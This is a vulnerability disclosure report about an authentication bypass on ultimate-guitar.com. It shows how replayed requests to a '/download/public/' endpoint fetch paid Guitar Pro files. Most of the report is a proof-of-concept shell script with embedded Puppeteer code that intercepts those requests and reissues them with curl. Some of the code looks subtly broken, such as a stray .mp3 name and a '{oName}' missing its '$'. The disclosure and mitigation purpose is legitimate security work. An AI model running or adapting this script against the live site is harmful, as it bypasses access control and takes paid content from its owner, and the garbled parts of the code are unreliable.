

Vulnerability Disclosure Report

Report Title:

[<https://www.ultimate-guitar.com>]- Authentication Bypass via Web Replay

Vulnerability Type:

Authentication Bypass / Broken Access Control

Date Discovered:

January 14, 2025

Researcher:

KBS < admin@dt rh.net | 0x4B4253@wearehackerone.com >

Description of the Vulnerability:

This vulnerability enables attackers to bypass the authentication and access control mechanisms on Ultimate Guitar's web platform. The issue arises from improper session validation, which allows restricted files to be accessed directly through crafted or replayed HTTP GET requests.

Key issues include:

1. **Incomplete Backend Validation:** Restricted files are served even after the user is blocked by the frontend logic.
2. **Replay Attacks:** Intercepted requests can be replayed to download files without requiring authentication.
3. **Cookie-Based Weakness:** Server-side reliance on client-side session cookies without sufficient validation enables unauthorized access.

Steps to Reproduce:

1. **Intercept Web Requests:**
 - Use a tool such as [Caido](#) or Burp Suite to monitor requests while interacting with the Guitar Pro preview web app on Ultimate Guitar.
2. **Identify Target Endpoint:**
 - Watch for requests to `/download/public/{Base64String}` while interacting with the web app.
 - Capture the headers and cookies sent during the request.
3. **Replay the Request:**
 - Use a tool like `curl` or Puppeteer to resend the intercepted request with the appropriate headers and cookies.
4. **Redirect Output to a Local File:**
 - Save the response to a local file for offline access.

Proof of Concept (PoC):

Below is an example session demonstrating the exploitation process, and provides a sha256 hash of the file for verification:

```
#!/usr/bin/env sh
#
# Jan 14, 2025
# echoHEIST.sh ADMIN]at[DTRH]dot[NET
# #####
# Dependencies: nodejs 18+, puppeteer, curl
#
# Example above uses this URL:
# https://tabs.ultimate-guitar.com/tab/old-mans-child/black-seeds-on-virgin-soil-guitar-pro-227483
#
# This code does the minimum to prove the concepts worth.
# While it would be fairly easy to implement web scraping techniques, or to
# parse lists of links, etc, at this moment its outside the scope. Therefore
# usage is simple. Execute the command from a linux shell, follow up with one
# parameter in the form of a URL, ideally 'quoted'
#
usage() {
    echo "Usage: $0 <URL>"
    exit 1
}
#
# Check for URL argument
[ -z "$1" ] && usage
#
# The input URL will be the easiest to rip the band name and song from so, lets
# handle that now. We will name the output file oFile, ensure it has the band and song name, as well
# as maintain its ID from Ultimate Guitar in case that may be important down the road.
iURL="$1"
oName=$(echo "$iURL" | sed -E 's|https://tabs.ultimate-guitar.com/tab/||' | sed 's|/|_|g' | sed -E 's/_GP.*//')
oFile=$(echo "$oName" | sed -E 's/ /_/g')
oFile=${oFile}.mp3
#
# Download the file
curl -L -o "$oFile" "$iURL"
#
# Done
```

```

# Set the output file name with .gp5 extension
# NOTE . Some of these files will be gpx, etc. That is functionality not added.
oFile="{oName}.gp5"
echo "Generated file name: $oFile"

# Short and Sweet
echoHEIST() {
  # shellcheck disable=SC3037
  echo -e "Listening for web requests directed towards \033[1m'tabs.ultimate-guitar.com/download/public/'\033[0m"

  # Start Puppeteer to listen for network requests
  node -e "
    const puppeteer = require('puppeteer');
    const { exec } = require('child_process');

    (async () => {
      const browser = await puppeteer.launch({
        headless: false,
        executablePath: '/opt/chrome/chrome-linux/chrome',          // Path to your browser
        args: ['--no-sandbox', '--disable-setuid-sandbox'],
      });

      const page = await browser.newPage();

      // Enable network request interception
      await page.setRequestInterception(true);
      page.on('request', (request) => {
        const url = request.url();

        // Match the desired request
        if (url.includes('tabs.ultimate-guitar.com/download/public/')) {
          console.log('Captured request: ' + url);

          // Rebuild the curl command
          const headers = Object.entries(request.headers())
            .map(([key, value]) => ` -H '${key}: ${value}'`)
            .join(' \\n ');

          const curlCommand = `
            curl -s -k '${url}' \\
              \\${headers} \\
              --output ${oFile}
          `;

          console.log('Executing curl command...');
          exec(curlCommand, (error, stdout, stderr) => {
            if (error) {
              console.error('Error:', error.message);
              return;
            }
            if (stderr) {
              console.error('Stderr:', stderr);
            }
            console.log('Download complete: ${oFile}');
            // vconsole.log('\x07'); // Beep on completion
          });
        }
        request.continue();
      });

      // Navigate to the provided URL
      console.log('Navigating to ' + '${iURL}');
      await page.goto('${iURL}', { waitUntil: 'networkidle2' });

      // Wait to ensure all requests are captured

```

```
console.log('Waiting for network activity...');
// await page.waitForTimeout(30000);

await browser.close();
})();
"
}

echoHEIST
```

Impact:

An attacker can:

- Download restricted Guitar Pro files without authentication.
- Bypass monetization strategies and access premium content freely.

Mitigation Recommendations:

1. **Enforce Strict Backend Validation:**
 - Verify user authentication and session state for every request to protected endpoints.
 - Reject requests from expired or unauthorized sessions.
 2. **Secure File Access Mechanisms:**
 - Use short-lived, session-specific tokens for file downloads, validated on the server.
-